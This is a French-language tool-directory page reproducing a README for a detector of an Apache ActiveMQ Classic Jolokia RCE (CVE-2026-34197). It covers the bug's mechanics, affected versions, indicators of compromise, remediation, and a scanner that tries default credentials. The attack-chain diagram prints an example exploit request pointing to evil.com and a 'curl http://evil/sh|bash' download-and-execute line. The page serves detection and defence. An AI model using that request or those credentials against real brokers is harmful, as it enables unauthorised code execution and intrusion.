Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-34197 — Détecte la RCE Apache ActiveMQ Classic (CVE-2026-34197) via l'API Jolokia avec des scripts Python et Nmap NSE, en vérifiant l'accès non authentifié et la vulnérabilité de version. | Kitploit
Outils/GitHubGitHub/keraattin/cve-2026-34197
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsSécurité RéseauTests d'Intrusion
GitHubkeraattin/cve-2026-34197

CVE-2026-34197

Détecte la RCE Apache ActiveMQ Classic (CVE-2026-34197) via l'API Jolokia avec des scripts Python et Nmap NSE, en vérifiant l'accès non authentifié et la vulnérabilité de version.

Voir le dépôt
2il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-34197 — RCE dans Apache ActiveMQ Classic via l'API Jolokia

CVE-2026-34197 CVSS 8.8 CWE-94 ActiveMQ Classic

TL;DR

Une vulnérabilité d'exécution de code à distance dans Apache ActiveMQ Classic qui permet à un attaquant d'exécuter du code arbitraire en invoquant l'opération MBean addNetworkConnector(String) via l'API Jolokia (/api/jolokia/). L'attaquant intègre un paramètre brokerConfig malveillant pointant vers un fichier XML Spring distant, qu'ActiveMQ récupère et analyse, instanciant des objets Java arbitraires et parvenant à une exécution de code.

Sur les , le point de terminaison Jolokia est , ce qui en fait une RCE non authentifiée sans interaction utilisateur.

versions ActiveMQ 6.0.0 à 6.1.1
totalement non authentifié

Cette vulnérabilité est restée cachée dans le code source pendant 13 ans avant d'être découverte avec l'aide de l'IA.


Table des matières

  • Faits rapides
  • Qu'est-ce qu'Apache ActiveMQ ?
  • Analyse approfondie de la vulnérabilité
    • L'architecture : Jolokia et JMX
    • La chaîne d'attaque
    • La faille d'authentification
  • Analyse d'impact
  • Versions concernées
  • Détection
    • Scanner Python
    • Script Nmap NSE
    • Vérification manuelle
  • Indicateurs de compromission
  • Remédiation
  • Références
  • Auteur

Faits rapides

ChampDétail
ID CVECVE-2026-34197
FournisseurApache Software Foundation
ProduitApache ActiveMQ Classic
Versions concernéesToutes les versions antérieures à 5.19.4 et 6.2.3
RCE non authentifiéeVersions 6.0.0 à 6.1.1 (Jolokia sans authentification)
CVSS v3.18.8 (Élevée)
CWECWE-94 — Contrôle inadéquat de la génération de code
Vecteur d'attaqueRéseau
AuthentificationRequise sur 5.x ; aucune sur 6.0.0 à 6.1.1
Interaction utilisateurAucune
Maturité de l'exploitPoC public disponible
Corrigé dansActiveMQ Classic 5.19.4, 6.2.3
Âge du bug~13 ans dans le code source
DécouverteRecherche de vulnérabilités assistée par IA

Qu'est-ce qu'Apache ActiveMQ ?

Apache ActiveMQ Classic est l'un des courtiers de messages open source les plus largement déployés dans l'écosystème Java. Il implémente la spécification Java Message Service (JMS) et sert de colonne vertébrale à la communication asynchrone dans des milliers d'environnements d'entreprise dans le monde entier.

ActiveMQ gère tout, des files d'attente de traitement de commandes et des pipelines de transactions financières aux flux de télémétrie IoT et aux bus d'événements de microservices. Si votre organisation utilise des microservices basés sur Java, une architecture pilotée par les événements ou toute forme de messagerie asynchrone, il y a de fortes chances qu'ActiveMQ soit quelque part dans la pile.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here

root@kitploit:~
Lorsqu'un attaquant compromet ActiveMQ, il n'obtient pas seulement un shell sur un serveur. Il se retrouve au **centre de chaque flux de messages** de l'organisation, capable de lire, modifier, rediriger ou injecter des messages entre les systèmes critiques.

---

## Analyse approfondie de la vulnérabilité

### L'architecture : Jolokia et JMX

**JMX** (Java Management Extensions) est l'interface de gestion standard pour les applications Java. Elle expose des « MBeans » (Managed Beans) qui permettent de surveiller et de contrôler les composants internes de l'application. ActiveMQ expose des MBeans pour gérer les brokers, les files d'attente, les topics, les connexions, et plus encore.

**Jolokia** est un pont JMX-over-HTTP. Il traduit les opérations JMX en une API JSON RESTful, permettant de gérer des applications Java via des requêtes HTTP plutôt que d'exiger un client JMX dédié.

ActiveMQ Classic est livré avec Jolokia intégré, accessible à l'adresse `/api/jolokia/` sur le port de la console web (par défaut : 8161).```
  Traditional JMX Access:
  ┌──────────┐                                 ┌──────────────┐
  │ JConsole │ ────── JMX Protocol ─────────>  │  ActiveMQ    │
  │          │    (requires JMX client)        │  MBeans      │
  └──────────┘                                 └──────────────┘

  Jolokia HTTP Access:
  ┌──────────┐                                ┌──────────────┐
  │  curl /  │ ── POST /api/jolokia/ ───────> │  ActiveMQ    │
  │ browser  │    (just needs HTTP)           │  MBeans      │
  └──────────┘                                └──────────────┘
                       ⬆️
           Anyone with HTTP access can
           invoke MBean operations

C'est là que les problèmes commencent. Jolokia expose toute la puissance de la gestion JMX via une simple API HTTP. Et l'une des opérations MBean disponibles sur le broker est addNetworkConnector(String).

La chaîne d'attaque

L'opération addNetworkConnector(String) est conçue pour créer des ponts réseau entre les instances de broker ActiveMQ. Elle accepte une chaîne URI décrivant comment se connecter à un autre broker.

ActiveMQ prend en charge le schéma d'URI vm:// pour les connexions de broker en processus. Ces URI prennent en charge un paramètre brokerConfig qui pointe vers un fichier de configuration Spring XML. Et Spring XML peut instancier des objets Java arbitraires.

Voici la chaîne complète :``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘

root@kitploit:~
ActiveMQ fait exactement ce pour quoi il a été conçu : charger une configuration de broker. Le problème est que la source de configuration est contrôlée par l'attaquant, et que le XML Spring est en réalité un format d'exécution de code.

### La lacune d'authentification

C'est ce qui fait passer la vulnérabilité de grave à critique :

| Version d'ActiveMQ | Statut d'authentification Jolokia | Impact |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | Authentifié (valeurs par défaut : admin:admin) | RCE authentifié, souvent trivialement contourné |
| 6.0.0 à 6.1.1 | **Totalement non authentifié** | **RCE non authentifié** |
| 6.1.2 à 6.2.2 | Authentifié | RCE authentifié |
| 5.19.4+ / 6.2.3+ | Corrigé | Non vulnérable |

Sur ActiveMQ 6.0.0 à 6.1.1, le point de terminaison Jolokia ne requiert **aucune authentification**. Toute personne pouvant atteindre le port 8161 obtient une exécution de code à distance non authentifiée.

Même sur les versions où Jolokia exige une authentification, les identifiants par défaut `admin:admin` sont largement connus et fréquemment laissés inchangés dans les environnements de développement, de préproduction et de production.

---

## Analyse de l'impact

**Impact immédiat sur l'hôte du broker :**
- Exécution complète de code à distance avec les privilèges du processus ActiveMQ
- Accès à toutes les files de messages, aux topics et aux messages stockés
- Capacité de lire, modifier ou injecter des messages en transit
- Accès aux fichiers de configuration, aux keystores et aux identifiants stockés

**Impact en aval (via la manipulation des messages) :**
- Injection de messages malveillants dans les files de traitement
- Modification de transactions financières, de commandes ou de requêtes en cours
- Interception de données sensibles transitant par le broker
- Perturbation de tous les services dépendant des messages

**Amplification du risque d'entreprise :**
- ActiveMQ se situe à l'intersection de chaque application qui l'utilise
- Un seul broker compromis peut affecter des dizaines de services connectés
- Les brokers de messages sont généralement positionnés dans des zones réseau de confiance avec un accès étendu
- Le mouvement latéral est simple depuis la position réseau du broker```
  What an attacker can do after exploitation:

  ┌─────────────────────────────────────────────────────────┐
  │               Compromised ActiveMQ Broker               │
  └────┬───────────┬───────────┬───────────┬──────────┬─────┘
       │           │           │           │          │
       ▼           ▼           ▼           ▼          ▼
  Read/modify   Inject       Pivot to     Intercept    Deploy
  messages      malicious    connected    creds in     persistent
  in transit    messages     systems      messages     backdoor

Versions affectées

VersionStatut
ActiveMQ Classic 6.2.3+Corrigé
ActiveMQ Classic 5.19.4+Corrigé
ActiveMQ Classic 6.0.0 à 6.2.2Vulnérable (6.0.0 à 6.1.1 = non authentifié)
ActiveMQ Classic < 5.19.4Vulnérable (authentifié)
ActiveMQ ArtemisNon concerné (base de code différente)

Détection

Scanner Python

Le script Python détecte les instances ActiveMQ vulnérables grâce à une analyse en plusieurs étapes.

Comment cela fonctionne :

  1. Vérification du point de terminaison Jolokia — Teste si /api/jolokia/ est accessible sans authentification (HTTP 200 = ouvert, 401 = authentification requise)
  2. Test des identifiants par défaut — Si Jolokia exige une authentification, essaie admin:admin, user:user, admin:activemq
  3. Détection de version — Analyse les pages /admin/ et / pour trouver les chaînes de version ActiveMQ à l'aide de correspondances par expressions régulières
  4. Accessibilité des MBeans — Effectue une requête de recherche Jolokia sécurisée pour org.apache.activemq:type=Broker afin de confirmer que le chemin d'exploitation existe

Aucune charge utile d'exploitation n'est envoyée. Aucune commande n'est exécutée. Le scanner observe uniquement l'accessibilité des points de terminaison et les informations de version.

Utilisation :```bash

Install dependencies

pip install -r requirements.txt

Single target

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161

With custom credentials

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret

Bulk scan from file with verbose output

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v

HTTPS with SSL verification disabled (default)

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161

Increased timeout for slow networks

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20

root@kitploit:~
**Options :**

| Drapeau | Description | Défaut |
|------|-------------|---------|
| `-t`, `--target` | URL cible unique (par ex. `http://host:8161`) | — |
| `-f`, `--file` | Fichier contenant les URL cibles, une par ligne (commentaires `#` pris en charge) | — |
| `-u`, `--username` | Nom d'utilisateur pour l'authentification Jolokia | — |
| `-p`, `--password` | Mot de passe pour l'authentification Jolokia | — |
| `-o`, `--output` | Enregistrer les résultats dans un fichier JSON | — |
| `--timeout` | Délai de connexion en secondes | `10` |
| `--verify-ssl` | Activer la vérification du certificat SSL | Désactivé |
| `-v`, `--verbose` | Sortie détaillée avec informations complètes | Désactivé |

**Exemple de sortie :**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...

======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
  Jolokia Accessible:    YES
  Requires Auth:         NO (unauthenticated)
  ActiveMQ Version:      6.1.0
  Vulnerable:            YES
  Unauth RCE (6.0-6.1): YES — CRITICAL
  Broker MBean Access:   YES

  Details:
    - Jolokia API accessible WITHOUT authentication
    - Detected ActiveMQ version: 6.1.0
    - Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
      CRITICAL: No auth required!
    - Broker MBean accessible: [org.apache.activemq:type=Broker,...]

======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================

Script NSE Nmap```bash

Install the NSE script

sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb

Basic scan

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan a subnet

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24

Multiple common ports

nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan targets from a file

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt

With service version detection

nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

root@kitploit:~
**Exemple de sortie Nmap :**```
PORT     STATE SERVICE
8161/tcp open  http
| CVE-2026-34197_ActiveMQ_Jolokia:
|   VULNERABLE:
|   Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
|     State: VULNERABLE
|     Risk level: CRITICAL
|     ActiveMQ Version: 6.1.0
|     Jolokia Accessible: true (unauthenticated)
|     Description:
|       CRITICAL: Jolokia API is accessible without authentication on
|       ActiveMQ 6.1.0, enabling unauthenticated remote code execution
|       via addNetworkConnector MBean.
|     References:
|_      https://nvd.nist.gov/vuln/detail/CVE-2026-34197

Vérification manuelle

Si vous souhaitez vérifier manuellement avec curl :```bash

Step 1: Check if Jolokia is accessible (should return JSON if open)

curl -sk http://:8161/api/jolokia/ | python3 -m json.tool

Step 2: Check with default credentials (if Step 1 returns 401)

curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool

Step 3: Check MBean accessibility (safe read-only query)

curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool

root@kitploit:~
Si l'étape 1 renvoie une réponse JSON avec les informations de l'agent Jolokia, le point de terminaison n'est pas authentifié. Si l'étape 2 fonctionne avec les identifiants par défaut, vous disposez d'un accès authentifié. Dans les deux cas, si le MBean du broker est accessible, le chemin d'exploitation existe.

---

## Indicateurs de compromission

Surveillez ces signes dans votre environnement :

| Indicateur | Où vérifier | Ce qu'il faut rechercher |
|:---|:---|:---|
| Accès Jolokia | Journaux d'accès de la console web | POST vers `/api/jolokia/` contenant `addNetworkConnector` |
| Récupération sortante | Journaux réseau / pare-feu | Requêtes HTTP d'ActiveMQ vers des hôtes externes inattendus |
| Chargement XML Spring | Journaux ActiveMQ | Références aux URI `xbean:http://` |
| Connecteurs réseau | Configuration du broker | URI `vm://` avec des paramètres `brokerConfig` que vous n'avez pas créés |
| Processus enfants | Surveillance des processus | Processus inattendus générés par le processus Java ActiveMQ |

**Commandes d'investigation :**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/

# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors

# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java

# Check for unexpected child processes
ps aux --forest | grep -A5 activemq

Remédiation

Actions immédiates (à faire maintenant) :

  1. Mettre à niveau ActiveMQ Classic vers la version 5.19.4 ou 6.2.3 (selon votre branche)
  2. Restreindre l'accès à Jolokia en ajoutant des règles de pare-feu ou des ACL de reverse proxy pour bloquer l'accès externe à /api/jolokia/
  3. Changer les identifiants par défaut si vous utilisez admin:admin sur la console web

À court terme (cette semaine) :

  1. Auditer les journaux d'accès Jolokia pour détecter des signes d'exploitation (recherchez les opérations addNetworkConnector)
  2. Examiner les connecteurs réseau sur toutes les instances ActiveMQ pour détecter des entrées non autorisées
  3. Vérifier les connexions sortantes inattendues depuis les hôtes du courtier ActiveMQ
  4. Faire pivoter les identifiants pour tous les services qui se connectent via le courtier

À long terme :

  1. Segmentation réseau pour l'infrastructure du courtier de messages (VLAN de gestion dédié)
  2. Surveillance des schémas d'accès à Jolokia avec alertes sur les opérations MBean inattendues
  3. Inclure ActiveMQ dans les cycles réguliers d'analyse des vulnérabilités et de gestion des correctifs
  4. Désactiver Jolokia entièrement si la gestion JMX n'est pas nécessaire, ou le lier uniquement à localhost

Références

  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API
  • SecurityWeek — RCE Bug Lurked in Apache ActiveMQ Classic for 13 Years
  • Help Net Security — Apache ActiveMQ RCE Vulnerability CVE-2026-34197
  • CSO Online — Claude Uncovers a 13-year-old ActiveMQ RCE Bug
  • CCB Belgium — Warning: High Severity Vulnerability in Apache ActiveMQ
  • CSA Singapore — Critical Vulnerability in Apache ActiveMQ Classic
  • GBHackers — Claude Identifies Critical 13-Year-Old RCE Vulnerability

Auteur

Kerem Oruç — Ingénieur en cybersécurité

  • GitHub : @keraattin
  • Twitter : @keraattin
Télécharger l’outil